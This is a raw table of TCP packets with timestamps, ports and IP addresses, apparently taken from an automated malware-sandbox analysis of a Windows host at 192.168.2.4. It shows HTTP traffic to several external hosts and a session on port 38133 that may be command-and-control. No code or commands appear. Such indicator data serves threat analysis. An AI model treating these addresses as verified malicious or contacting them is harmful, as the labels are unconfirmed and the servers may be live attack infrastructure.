Jan 14, 2022 20:30:06.884587049 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.884618998 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.884624958 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.884644985 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.884650946 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.884655952 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.884656906 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.884697914 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.884712934 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.884718895 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.884737968 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.884774923 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.884787083 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.884814024 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.884814024 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.884871006 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.884908915 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.884929895 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.884948015 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.884958982 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.884989023 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.885005951 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.885029078 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.885046005 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.885070086 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.885082960 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.885109901 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.885113955 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.885150909 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.885196924 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.885199070 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.885220051 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.885258913 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.885267019 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.885298967 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.885338068 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.885363102 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.885382891 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.885421038 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.885426998 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.885461092 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.885499001 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.885519981 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.885539055 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.885579109 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.885582924 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.885615110 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.885653973 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.885658979 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.885694027 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.885730982 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.885744095 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.885771036 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.885809898 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.885817051 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.885871887 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.885915041 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.885917902 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.885955095 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.885992050 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.886003017 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.886030912 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.886030912 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.886071920 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.886084080 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.886110067 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.886121035 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.886148930 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.886153936 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.886187077 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.886224985 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.886233091 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.886265039 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.886265039 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.886302948 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.886333942 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.886370897 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.886399031 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.886410952 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.886413097 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.886451006 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.886454105 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.886487961 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.886527061 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.886538982 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.886570930 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.949194908 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.950449944 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.984589100 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.984642029 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.984688044 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.984709978 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.984714031 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.984756947 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.984795094 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.984822035 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.984833956 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.984846115 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.984850883 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.984877110 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.984879971 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.984916925 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.984956026 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.984987974 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.984992981 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.985042095 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.985079050 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.985083103 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.985110998 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.985152006 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.985162973 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.985193968 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.985193968 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.985232115 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.985270977 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.985299110 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.985310078 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.985347033 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.985384941 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.985388994 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.985392094 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.985414028 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.985430002 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.985445023 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.985470057 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.985512018 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.985538960 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.985551119 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.985569000 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.985589027 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.985627890 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.985641956 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.985663891 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.985702991 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.985712051 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.985733986 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.985773087 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.985784054 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.985814095 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.985877991 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.985878944 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.985918045 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.985948086 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.985970020 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.985985994 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.986023903 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.986062050 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.986073017 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.986099005 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.986136913 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.986148119 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.986175060 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.986187935 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.986213923 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.986252069 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.986263990 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.986289978 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.986327887 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.986341953 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.986366034 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.986402035 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.986438990 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.986452103 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.986478090 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.986515999 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.986529112 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.986557007 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.986561060 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.986593008 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.986634016 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.986640930 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.986673117 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.986709118 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.986721039 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.986747980 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.987039089 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.987260103 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:07.048697948 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.084398985 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.084450960 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.084490061 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.084528923 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.084541082 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:07.084567070 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.084585905 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:07.084608078 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.084650040 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.084676027 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:07.084687948 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.084711075 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:07.084731102 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.084779978 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.084794998 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:07.084800005 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.084831953 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.084846973 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:07.084872961 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.084913015 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.084949017 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.084989071 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.085005999 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:07.085027933 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.085066080 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.085081100 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:07.085087061 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:07.085105896 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.085144997 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.085156918 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:07.085184097 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.085211992 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.085248947 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.085266113 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:07.085288048 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.085293055 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:07.085329056 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.085366011 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.085377932 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:07.085406065 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.085443020 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.085449934 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:07.085483074 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.085521936 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.085560083 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.085571051 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:07.085597992 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.085637093 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.085649014 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:07.085684061 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:07.085711002 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.085751057 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.085788965 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.085828066 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:07.085839987 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.085906029 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.085937977 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.085952044 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:07.085982084 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:07.086009979 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.086050034 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.086097002 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:07.086105108 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.086127996 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.086180925 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.086184025 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:07.086220026 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.086257935 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.086297035 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.086308956 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:07.086335897 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.086385012 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.086394072 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:07.086427927 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.086430073 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:07.086466074 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.086503983 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.086515903 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:07.086543083 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.086579084 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.086591959 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:07.086608887 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:07.087898016 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:07.308078051 CET	49893	80	192.168.2.4	185.163.45.70
Jan 14, 2022 20:30:07.345086098 CET	49892	38133	192.168.2.4	86.107.197.138
Jan 14, 2022 20:30:07.374049902 CET	38133	49892	86.107.197.138	192.168.2.4
Jan 14, 2022 20:30:07.452409029 CET	49892	38133	192.168.2.4	86.107.197.138
Jan 14, 2022 20:30:10.219224930 CET	49892	38133	192.168.2.4	86.107.197.138
Jan 14, 2022 20:30:10.249053955 CET	38133	49892	86.107.197.138	192.168.2.4
Jan 14, 2022 20:30:10.296413898 CET	49892	38133	192.168.2.4	86.107.197.138
Jan 14, 2022 20:30:10.312520981 CET	49893	80	192.168.2.4	185.163.45.70
Jan 14, 2022 20:30:11.147852898 CET	49910	80	192.168.2.4	185.163.204.22
Jan 14, 2022 20:30:11.174408913 CET	80	49910	185.163.204.22	192.168.2.4
Jan 14, 2022 20:30:11.176631927 CET	49910	80	192.168.2.4	185.163.204.22
Jan 14, 2022 20:30:11.180648088 CET	49910	80	192.168.2.4	185.163.204.22
Jan 14, 2022 20:30:11.206923008 CET	80	49910	185.163.204.22	192.168.2.4
Jan 14, 2022 20:30:11.294919014 CET	80	49910	185.163.204.22	192.168.2.4
Jan 14, 2022 20:30:11.294939995 CET	80	49910	185.163.204.22	192.168.2.4
Jan 14, 2022 20:30:11.294951916 CET	80	49910	185.163.204.22	192.168.2.4
Jan 14, 2022 20:30:11.294965029 CET	80	49910	185.163.204.22	192.168.2.4
Jan 14, 2022 20:30:11.294997931 CET	80	49910	185.163.204.22	192.168.2.4
Jan 14, 2022 20:30:11.295001030 CET	49910	80	192.168.2.4	185.163.204.22
Jan 14, 2022 20:30:11.295037031 CET	49910	80	192.168.2.4	185.163.204.22
Jan 14, 2022 20:30:11.322851896 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:11.343381882 CET	49910	80	192.168.2.4	185.163.204.22
Jan 14, 2022 20:30:11.351058006 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:11.351712942 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:11.352283955 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:11.352358103 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:11.380053997 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:11.380093098 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:11.842281103 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:11.842324018 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:11.842367887 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:11.842398882 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:11.842475891 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:11.842508078 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:11.842510939 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:11.842704058 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:11.842734098 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:11.842767000 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:11.842803001 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:11.842844963 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:11.893445015 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:11.921144009 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.016876936 CET	49916	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.036310911 CET	80	49916	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.036686897 CET	49916	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.036708117 CET	49916	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.036710978 CET	49916	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.054549932 CET	80	49916	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.157397032 CET	80	49916	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.157546997 CET	49916	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.167690992 CET	49916	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.185009003 CET	80	49916	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.195410013 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.195429087 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.195455074 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.195475101 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.195494890 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.195508003 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.195516109 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.195529938 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.195530891 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.195549011 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.195575953 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.195588112 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.196310043 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.196325064 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.196391106 CET	49912	80	192.168.2.4	185.163.204.24
Jan 14, 2022 20:30:12.202677965 CET	49918	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.220335960 CET	80	49918	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.220596075 CET	49918	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.220680952 CET	49918	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.220690012 CET	49918	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.228470087 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.228487015 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.228506088 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.228518963 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.228532076 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.228548050 CET	80	49912	185.163.204.24	192.168.2.4
Jan 14, 2022 20:30:12.228559971 CET	80	49912	185.163.204.24	192.168.2.4
